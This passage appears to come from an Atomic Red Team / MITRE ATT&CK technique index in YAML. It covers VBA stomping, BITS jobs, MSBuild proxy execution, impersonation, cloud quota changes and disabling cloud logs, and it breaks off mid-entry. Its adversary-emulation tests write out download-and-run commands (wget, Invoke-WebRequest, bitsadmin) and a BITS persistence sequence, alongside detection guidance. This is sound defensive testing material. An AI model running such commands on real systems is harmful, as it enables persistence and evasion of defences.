prereq_command: 'if [ -e #{input_file} ]; then exit 0; else exit 1; fi ' get_prereq_command: 'wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c -O "#{input_file}" ' executor: command: | gcc #{input_file} && ./a.out clang #{input_file} && ./a.out name: sh - name: CC compile auto_generated_guid: da97bb11-d6d0-4fc1-b445-e443d1346efe description: 'Compile a c file with either gcc or clang on FreeBSD, Linux or Macos. ' supported_platforms: - linux - macos input_arguments: input_file: description: source file type: path default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc dependency_executor_name: sh dependencies: - description: 'the source file must exist on disk at specified location (#{input_file}) ' prereq_command: 'if [ -e #{input_file} ]; then exit 0; else exit 1; fi ' get_prereq_command: 'wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.cc -O #{input_file} ' executor: command: | g++ #{input_file} && ./a.out clang++ #{input_file} && ./a.out name: sh - name: Go compile auto_generated_guid: 78bd3fa7-773c-449e-a978-dc1f1500bc52 description: 'Compile a go file with golang on FreeBSD, Linux or Macos. ' supported_platforms: - linux - macos input_arguments: input_file: description: source file type: path default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.go dependency_executor_name: sh dependencies: - description: 'the source file must exist on disk at specified location (#{input_file}) ' prereq_command: 'if [ -e #{input_file} ]; then exit 0; else exit 1; fi ' get_prereq_command: 'wget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.go -O #{input_file} ' executor: command: 'go run #{input_file} ' name: sh T1564.007: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Rick Cole, Mandiant object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b type: attack-pattern created: '2020-09-17T12:51:40.845Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1564.007 url: https://attack.mitre.org/techniques/T1564/007 - source_name: FireEye VBA stomp Feb 2020 url: https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html description: 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.' - source_name: Evil Clippy May 2019 url: https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ description: 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.' - source_name: Microsoft _VBA_PROJECT Stream url: https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239 description: 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.' - source_name: Walmart Roberts Oct 2018 url: https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278 description: Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020. - source_name: pcodedmp Bontchev url: https://github.com/bontchev/pcodedmp description: Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020. - source_name: oletools toolkit url: https://github.com/decalage2/oletools description: decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020. modified: '2022-04-25T14:00:00.188Z' name: VBA Stomping description: |- Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020) MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream) An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020) x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Metadata' - 'Script: Script Execution' x_mitre_permissions_required: - User x_mitre_system_requirements: - MS Office version specified in _VBA_PROJECT stream must match host spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1197: technique: modified: '2023-05-09T14:00:00.188Z' name: BITS Jobs description: |- Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Brent Murphy, Elastic - David French, Elastic - Ricardo Dias - Red Canary x_mitre_deprecated: false x_mitre_detection: |- BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Service: Service Metadata' x_mitre_defense_bypassed: - Firewall - Host forensic analysis type: attack-pattern id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1197 external_id: T1197 - source_name: CTU BITS Malware June 2016 description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018. url: https://www.secureworks.com/blog/malware-lingers-with-bits - source_name: Symantec BITS May 2007 description: Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018. url: https://www.symantec.com/connect/blogs/malware-update-windows-update - source_name: Elastic - Hunting for Persistence Part 1 description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.' url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - source_name: PaloAlto UBoatRAT Nov 2017 description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018. url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - source_name: Microsoft Issues with BITS July 2011 description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018. url: https://technet.microsoft.com/library/dd939934.aspx - source_name: Microsoft BITS description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018. url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - source_name: Microsoft BITSAdmin description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018. url: https://msdn.microsoft.com/library/aa362813.aspx - source_name: Microsoft COM description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - source_name: Mondok Windows PiggyBack BITS May 2007 description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018. url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1197 atomic_tests: - name: Bitsadmin Download (cmd) auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421 description: | This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload supported_platforms: - windows input_arguments: remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md local_file: description: Local file path to save downloaded file type: path default: "%temp%\\bitsadmin1_flag.ps1" executor: command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file} ' cleanup_command: 'del #{local_file} >nul 2>&1 ' name: command_prompt - name: Bitsadmin Download (PowerShell) auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc description: | This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload leveraging PowerShell Upon execution you will find a github markdown file downloaded to the Temp directory supported_platforms: - windows input_arguments: remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md local_file: description: Local file path to save downloaded file type: path default: "$env:TEMP\\bitsadmin2_flag.ps1" executor: command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file} ' cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore ' name: powershell - name: Persist, Download, & Execute auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae description: | This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps. Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable. This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS" This job will remain in the BITS queue until complete or for up to 90 days by default if not removed. supported_platforms: - windows input_arguments: command_path: description: Path of command to execute type: path default: C:\Windows\system32\notepad.exe bits_job_name: description: Name of BITS job type: string default: AtomicBITS local_file: description: Local file path to save downloaded file type: path default: "%temp%\\bitsadmin3_flag.ps1" remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md executor: command: | bitsadmin.exe /create #{bits_job_name} bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file} bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL bitsadmin.exe /resume #{bits_job_name} ping -n 5 127.0.0.1 >nul 2>&1 bitsadmin.exe /complete #{bits_job_name} cleanup_command: 'del #{local_file} >nul 2>&1 ' name: command_prompt - name: Bits download using desktopimgdownldr.exe (cmd) auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114 description: "This test simulates using desktopimgdownldr.exe to download a malicious file\ninstead of a desktop or lockscreen background img. The process that actually makes \nthe TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) \nand not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n" supported_platforms: - windows input_arguments: remote_file: description: Remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md download_path: description: Local file path to save downloaded file type: path default: SYSTEMROOT=C:\Windows\Temp cleanup_path: description: path to delete file as part of cleanup_command type: path default: C:\Windows\Temp\Personalization\LockScreenImage cleanup_file: description: file to remove as part of cleanup_command type: string default: "*.md" executor: command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr ' cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >nul 2>&1 ' name: command_prompt T1127.001: technique: modified: '2023-08-14T19:23:58.317Z' name: 'Trusted Developer Utilities Proxy Execution: MSBuild' description: |- Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - "@ionstorm" - Carrie Roberts, @OrOneEqualsOne x_mitre_deprecated: false x_mitre_detection: Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_system_requirements: - ".NET Framework version 4 or higher" type: attack-pattern id: attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96 created: '2020-03-27T21:50:26.042Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1127/001 external_id: T1127.001 - source_name: LOLBAS Msbuild description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019. url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - source_name: Microsoft MSBuild Inline Tasks 2017 description: Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021. url: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element - source_name: MSDN MSBuild description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. url: https://msdn.microsoft.com/library/dd393574.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1127.001 atomic_tests: - name: MSBuild Bypass Using Inline Tasks (C#) auto_generated_guid: 58742c0f-cb01-44cd-a60b-fb26e8871c93 description: 'Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print "Hello From a Code Fragment" and "Hello From a Class." to the screen. ' supported_platforms: - windows input_arguments: filename: description: Location of the project file type: path default: PathToAtomicsFolder\T1127.001\src\T1127.001.csproj msbuildpath: description: Default location of MSBuild type: path default: C:\Windows\Microsoft.NET\Framework\v4.0.30319 msbuildname: description: Default name of MSBuild type: path default: msbuild.exe dependency_executor_name: powershell dependencies: - description: 'Project file must exist on disk at specified location (#{filename}) ' prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj" -OutFile "#{filename}" executor: command: '#{msbuildpath}\#{msbuildname} "#{filename}" ' name: command_prompt - name: MSBuild Bypass Using Inline Tasks (VB) auto_generated_guid: ab042179-c0c5-402f-9bc8-42741f5ce359 description: 'Executes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print "Hello from a Visual Basic inline task!" to the screen. ' supported_platforms: - windows input_arguments: filename: description: Location of the project file type: path default: PathToAtomicsFolder\T1127.001\src\vb.xml msbuildpath: description: Default location of MSBuild type: path default: C:\Windows\Microsoft.NET\Framework\v4.0.30319 msbuildname: description: Default name of MSBuild type: path default: msbuild.exe dependency_executor_name: powershell dependencies: - description: 'Project file must exist on disk at specified location (#{filename}) ' prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml" -OutFile "#{filename}" executor: command: '#{msbuildpath}\#{msbuildname} "#{filename}" ' name: command_prompt T1656: technique: modified: '2023-09-30T19:45:05.886Z' name: Impersonation description: "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.   \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Pawel Partyka, Microsoft Threat Intelligence - Blake Strom, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - Google Workspace x_mitre_version: '1.0' x_mitre_data_sources: - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada created: '2023-08-08T15:42:18.906Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1656 external_id: T1656 - source_name: CrowdStrike-BEC description: Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023. url: https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/ - source_name: VEC description: CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023. url: https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers. object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1578.005: technique: modified: '2023-10-02T22:17:54.968Z' name: Modify Cloud Compute Configurations description: |- Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim. For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy) Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Blake Strom, Microsoft Threat Intelligence - Amir Gharib, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'Cloud Service: Cloud Service Modification' type: attack-pattern id: attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f created: '2023-09-05T14:19:17.486Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1578/005 external_id: T1578.005 - source_name: Microsoft Subscription Hijacking 2022 description: Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023. url: https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121 - source_name: Microsoft Cryptojacking 2023 description: 'Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.' url: https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/ - source_name: Microsoft Peach Sandstorm 2023 description: Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023. url: https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/ - source_name: Microsoft Azure Policy description: Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023. url: https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1562.008: technique: modified: '2024-04-12T21:13:56.431Z' name: 'Impair Defenses: Disable Cloud Logs' description: |- An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Syed Ummar Farooqh, McAfee - Prasad Somasamudram, McAfee - Sekhar Sarukkai, McAfee - Ibrahim Ali Khan - Alex Soler, AttackIQ - Janantha Marasinghe - Matt Snyder, VMware - Joe Gumke, U.S. Bank x_mitre_deprecated: false x_mitre_detection: 'Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS - SaaS - Google Workspace - Azure AD - Office 365 x_mitre_version: '2.0' x_mitre_data_sources: - 'Cloud Service: Cloud Service Modification' - 'User Account: User Account Modification' - 'Cloud Service: Cloud Service Disable' type: attack-pattern id: attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d created: '2020-10-12T13:52:32.846Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/008 external_id: T1562.008 - source_name: Stopping CloudTrail from Sending Events to CloudWatch Logs description: Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020. url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html - source_name: AWS Update Trail description: AWS. (n.d.). update-trail. Retrieved August 4, 2023. url: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html - source_name: 'Following the CloudTrail: Generating strong AWS security signals with Sumo Logic' description: 'Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.' url: https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/ - source_name: Configuring Data Access audit logs description: Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020. url: https://cloud.google.com/logging/docs/audit/configure-data-access - source_name: Dark Reading Microsoft 365 Attacks 2021 description: Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023. url: https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591 - source_name: az monitor diagnostic-settings description: Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020. url: https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete - source_name: Pacu Detection Disruption Module description: Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023. url: https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1562.008 atomic_tests: - name: AWS - CloudTrail Changes auto_generated_guid: 